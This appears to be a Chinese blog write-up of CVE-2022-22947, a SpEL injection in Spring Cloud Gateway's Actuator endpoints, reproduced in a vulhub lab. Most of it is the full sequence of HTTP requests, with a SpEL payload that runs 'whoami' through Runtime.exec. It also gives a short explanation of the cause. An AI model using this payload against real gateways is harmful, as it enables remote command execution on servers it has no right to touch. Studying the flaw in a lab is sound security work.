【Web】CVE-2022-22947 SpringCloud Gateway SpEL漏洞学习

目录

简介

Actuator操作Gateway接口列表

复现流程

漏洞复现

简单原理


简介

Spring Boot Actuator 和 Spring Cloud Gateway 是 Spring 生态系统中的两个关键组件,它们在微服务架构中扮演着不同的角色,下面简要介绍它们之间的关系:

  1. Spring Boot Actuator

    • Spring Boot Actuator 是 Spring Boot 提供的一个功能强大的监控和管理端点,可以用于监视应用程序在生产环境中的运行情况。它包括了诸多内置的端点(endpoints),如健康检查、信息展示、环境配置、线程堆栈等,同时也支持自定义的端点来暴露应用程序特定的信息和操作。
  2. Spring Cloud Gateway

    • Spring Cloud Gateway 是 Spring Cloud 生态系统中用于构建 API 网关的组件,它提供了路由、过滤器、负载均衡等功能,用于统一管理和控制微服务架构中的请求流量。
  3. 关系

    • Spring Boot Actuator 和 Spring Cloud Gateway 在微服务架构中扮演着互补的角色。具体来说,Spring Boot Actuator 可以用于监控和管理单个微服务实例的运行状态和指标,而 Spring Cloud Gateway 则用于管理整个微服务架构的请求路由和流量控制。
    • 通过 Spring Boot Actuator,可以对各个微服务实例进行监控、健康检查等操作,并且可以利用 Actuator 的端点来暴露微服务的运行时信息;而 Spring Cloud Gateway 则通过网关的路由和过滤功能来管理请求的转发和处理,确保对微服务的请求能够进行统一的控制和处理。

Actuator操作Gateway接口列表

复现流程

1、启动Spring Cloud Gateway服务

2、添加过滤器(POST)

3、刷新过滤器(POST)

4、访问过滤器ID(GET)

漏洞复现

先vulhub搭建靶场

先创建路由(过滤器)

复制代码
POST /actuator/gateway/routes/Z3r4y HTTP/1.1
Host: 124.222.136.33:8082
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 330

{
  "id": "Z3r4y",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

再刷新路由

复制代码
POST /actuator/gateway/refresh HTTP/1.1
Host: 124.222.136.33:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Thu, 17 Oct 2019 07:18:26 GMT
If-None-Match: "3147526947+gzip"
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

Z3r4y=111

最后访问该恶意路由

复制代码
GET /actuator/gateway/routes/Z3r4y HTTP/1.1
Host: 124.222.136.33:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Thu, 17 Oct 2019 07:18:26 GMT
If-None-Match: "3147526947"

可以看到whoami成功执行(root)

简单原理

1、开启Acutator,可以通过接口列出路由(包括过滤器),如:/actuator/gateway/routes

2、可以通过/gateway/routes/{id_route_to_create}创建路由

3、通过/actuator/gateway/refresh刷新路由

4、当路由带有恶意的Filter,里面的spEL表达式会被执行

相关推荐
MiniFlyZt3 小时前
分布式数据库TiDB:架构、核心特性与生产实践(分库分表)
java·数据库·分布式·spring cloud·微服务·tidb
NovakG_13 小时前
SpringCloud小白入门+项目搭建
后端·spring·spring cloud
毅航21 小时前
从单体到微服务:Spring Cloud Gateway 断言的深度剖析
java·后端·spring cloud
徐子童1 天前
实现对象之间的序列化和反序列化
spring cloud
、BeYourself1 天前
Nacos深度剖析与实践应用之-负载均衡
spring cloud·微服务·负载均衡
angen20181 天前
seata db模式,nacos注册中心,spring boot ,spring cloud ,jdk1.8 完成的配置步骤
数据库·spring boot·spring cloud
Fanxt_Ja2 天前
【面经】杭州产链数字科技一面
java·科技·mysql·spring·spring cloud·面试·面经
胡尔摩斯.4 天前
SpringCloud企业级常用框架整合--下篇
spring·spring cloud·docker
艾露z4 天前
Vert.x学习(五)—— SockJS,搭建客户端,与后端服务器进行通信
java·前端·后端·学习·web
视力5.2的眼镜猴4 天前
CTF--好像需要管理员
web